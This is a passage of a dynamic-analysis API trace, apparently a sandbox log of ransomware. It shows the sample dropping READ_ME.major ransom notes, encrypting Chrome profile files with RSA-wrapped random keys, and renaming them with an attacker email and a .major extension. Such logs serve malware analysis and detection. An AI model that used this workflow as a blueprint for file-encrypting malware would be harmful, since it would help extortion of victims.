ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Safe Browsing", cAlternateFileName="SAFEBR~1")) returned 1 [0193.472] SetLastError (dwErrCode=0x0) [0193.472] GetLastError () returned 0x0 [0193.472] SetLastError (dwErrCode=0x0) [0193.472] SetLastError (dwErrCode=0x0) [0193.472] SetLastError (dwErrCode=0x0) [0193.472] GetLastError () returned 0x0 [0193.472] SetLastError (dwErrCode=0x0) [0193.472] GetLastError () returned 0x0 [0193.472] SetLastError (dwErrCode=0x0) [0193.472] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\safe browsing\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.473] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.474] CloseHandle (hObject=0xa00) returned 1 [0193.474] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0193.475] SetLastError (dwErrCode=0x0) [0193.475] GetLastError () returned 0x0 [0193.475] SetLastError (dwErrCode=0x0) [0193.475] SetLastError (dwErrCode=0x0) [0193.475] SetLastError (dwErrCode=0x0) [0193.475] GetLastError () returned 0x0 [0193.475] SetLastError (dwErrCode=0x0) [0193.475] GetLastError () returned 0x0 [0193.475] SetLastError (dwErrCode=0x0) [0193.475] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.476] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.477] CloseHandle (hObject=0xa00) returned 1 [0193.477] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Subresource Filter", cAlternateFileName="SUBRES~1")) returned 1 [0193.477] SetLastError (dwErrCode=0x0) [0193.477] GetLastError () returned 0x0 [0193.477] SetLastError (dwErrCode=0x0) [0193.477] SetLastError (dwErrCode=0x0) [0193.477] SetLastError (dwErrCode=0x0) [0193.477] GetLastError () returned 0x0 [0193.477] SetLastError (dwErrCode=0x0) [0193.477] GetLastError () returned 0x0 [0193.477] SetLastError (dwErrCode=0x0) [0193.477] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\subresource filter\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.477] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.478] CloseHandle (hObject=0xa00) returned 1 [0193.478] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0193.478] SetLastError (dwErrCode=0x0) [0193.478] GetLastError () returned 0x0 [0193.478] SetLastError (dwErrCode=0x0) [0193.478] GetLastError () returned 0x0 [0193.478] SetLastError (dwErrCode=0x0) [0193.478] SetLastError (dwErrCode=0x0) [0193.478] GetLastError () returned 0x0 [0193.478] SetLastError (dwErrCode=0x0) [0193.478] SetLastError (dwErrCode=0x0) [0193.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\swreporter\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.479] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.480] CloseHandle (hObject=0xa00) returned 1 [0193.480] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0193.480] SetLastError (dwErrCode=0x0) [0193.480] GetLastError () returned 0x0 [0193.480] SetLastError (dwErrCode=0x0) [0193.480] GetLastError () returned 0x0 [0193.480] SetLastError (dwErrCode=0x0) [0193.480] SetLastError (dwErrCode=0x0) [0193.480] GetLastError () returned 0x0 [0193.480] SetLastError (dwErrCode=0x0) [0193.480] SetLastError (dwErrCode=0x0) [0193.480] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.481] WriteFile (in: hFile=0xa00, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0193.482] CloseHandle (hObject=0xa00) returned 1 [0193.482] FindNextFileW (in: hFindFile=0x2f876e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0193.482] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.482] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dwFileAttributes=0x80) returned 1 [0193.483] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.484] GetFileSizeEx (in: hFile=0xa00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=74760) returned 1 [0193.484] ReadFile (in: hFile=0xa00, lpBuffer=0x2f8b890, nNumberOfBytesToRead=0x12408, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8b890*, lpNumberOfBytesRead=0x2e3f9b4*=0x12408, lpOverlapped=0x0) returned 1 [0193.510] SetFilePointer (in: hFile=0xa00, lDistanceToMove=-74760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.510] WriteFile (in: hFile=0xa00, lpBuffer=0x2f9dca0*, nNumberOfBytesToWrite=0x12408, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9dca0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12408, lpOverlapped=0x0) returned 1 [0193.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b890 | out: hHeap=0x570000) returned 1 [0193.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f9dca0 | out: hHeap=0x570000) returned 1 [0193.511] SetFilePointer (in: hFile=0xa00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12408 [0193.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.511] WriteFile (in: hFile=0xa00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.511] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rceEps7vfvZJLKrs8fpBAV4mkfYjuztxq8ZvdlljeI/tg7bur+FNOYIbTCLanPaM\nriF9oUHQGzr8eRVniupryQoYSeZXDuzyxMYUD8Vx09dGqmPJWaEZCnbED6weIF6w\nfKGwXgk1p+ecU2cMHJjlNLZtf0a9RZIYdmWM96fFaKTzare+hvqz1ddXqdCS91wS\nBsE6b9F5amESF1GGMMASmtTQf7kG13HbboUcBK1K01KnJNIwz6QoeMHTG1KyL2TB\niNyl35HMU0RXi444DiH5H+vKl5gyY78b5L/+ftWcv1bbozuBdMbHJ9PfLy3Bo69f\nEwIYAcMmtvfWW6gz7r2kUg==\n", pcchString=0x2e3f9a8) returned 1 [0193.511] WriteFile (in: hFile=0xa00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.512] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.512] WriteFile (in: hFile=0xa00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.512] CloseHandle (hObject=0xa00) returned 1 [0193.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.512] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\local state.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c9e0 | out: hHeap=0x570000) returned 1 [0193.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6569c0 | out: hHeap=0x570000) returned 1 [0193.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0193.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0193.604] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.604] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run", dwFileAttributes=0x80) returned 1 [0193.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0193.619] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.619] GetFileSizeEx (in: hFile=0xa00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.619] ReadFile (in: hFile=0xa00, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.619] SetFilePointer (in: hFile=0xa00, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.619] WriteFile (in: hFile=0xa00, lpBuffer=0x59d380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0193.619] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0193.619] SetFilePointer (in: hFile=0xa00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.619] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.619] WriteFile (in: hFile=0xa00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.620] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.620] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.620] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.620] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hrnPaa/D77N+jGCqxdAkurpJQ22H6NftlOBsFZMdHVVLM7KFWSxBucB9DMcbAaAI\n1+Cer7ALr9ehZwL+WU27OGft45Cc5GtSq61BL70tHKuH+PUE8wVWdDzakxnljjGF\nxcOa6tCavyafDqqjraDevaYjfyPsZkgu0IarcLfy2ArFoj7hGJlgJ2AedRRNuXRG\naMJRQWClj2aBYcn0TGAOxRGz/5LoQAscpmuRg3Cac4IImL0bS+9U8+CRclXXHevU\nknlLZWSSPEdixBkWC1SedEY6N2i2aYMyrTe/grtfD1y27ftjYfaXxRjUC4Wc0ym9\nlSKkg/mxK3FyG27CK3nJPg==\n", pcchString=0x2e3f9a8) returned 1 [0193.620] WriteFile (in: hFile=0xa00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.621] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.621] WriteFile (in: hFile=0xa00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.621] CloseHandle (hObject=0xa00) returned 1 [0193.621] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.621] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\First Run.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\first run.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.622] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66bfc0 | out: hHeap=0x570000) returned 1 [0193.622] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6569c0 | out: hHeap=0x570000) returned 1 [0193.622] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0193.622] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0193.623] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.623] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma", dwFileAttributes=0x80) returned 1 [0193.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89440 | out: hHeap=0x570000) returned 1 [0193.623] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpadmetrics-active.pma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0193.623] GetFileSizeEx (in: hFile=0xa00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1048576) returned 1 [0193.624] ReadFile (in: hFile=0xa00, lpBuffer=0x673020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x673020*, lpNumberOfBytesRead=0x2e3f9b4*=0x100000, lpOverlapped=0x0) returned 1 [0193.698] SetFilePointer (in: hFile=0xa00, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.698] WriteFile (in: hFile=0xa00, lpBuffer=0x3149020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3149020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x100000, lpOverlapped=0x0) returned 1 [0193.700] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x673020 | out: hHeap=0x570000) returned 1 [0193.700] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3149020 | out: hHeap=0x570000) returned 1 [0193.701] SetFilePointer (in: hFile=0xa00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x100000 [0193.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.701] WriteFile (in: hFile=0xa00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.709] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9JNXHsL2fWB2wm/LYMkVWVevW/QrlxGPzqj68+XiiDTOBU+A2KUz7Oede1yIu7q1\nG3xXvRrUnQ2qXVb2aVPEI1du0PmrcXNM5a3vbEzuyjMKHS+ZGWRt0j30T8Wx1ooq\n+mCGMglVIodqkov1OitpZOWDMrbgsiSukhnOkMzodYSRLJzxfF9Egm4ska3B94h3\nCjERNSzmvsCv7LGwe6pwZOrOa6VeRwRW0s1v8z+Oaau+HBUxZR54IrkW3XlEF9dC\nxCNiRBkkUSCFctHQks73w3W8KO78KBPAqSWaUpYNwXvlfEt4JKqxTJeaZOaEv0Un\nlgae7WyO8HE/MYoFoqPGIQ==\n", pcchString=0x2e3f9a8) returned 1 [0193.710] WriteFile (in: hFile=0xa00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.710] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.710] WriteFile (in: hFile=0xa00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.710] CloseHandle (hObject=0xa00) returned 1 [0193.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.710] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpadmetrics-active.pma"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CrashpadMetrics-active.pma.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\crashpadmetrics-active.pma.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ca0 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6569c0 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89638 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89248 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0408 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.712] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87168 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.712] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0193.712] GetLastError () returned 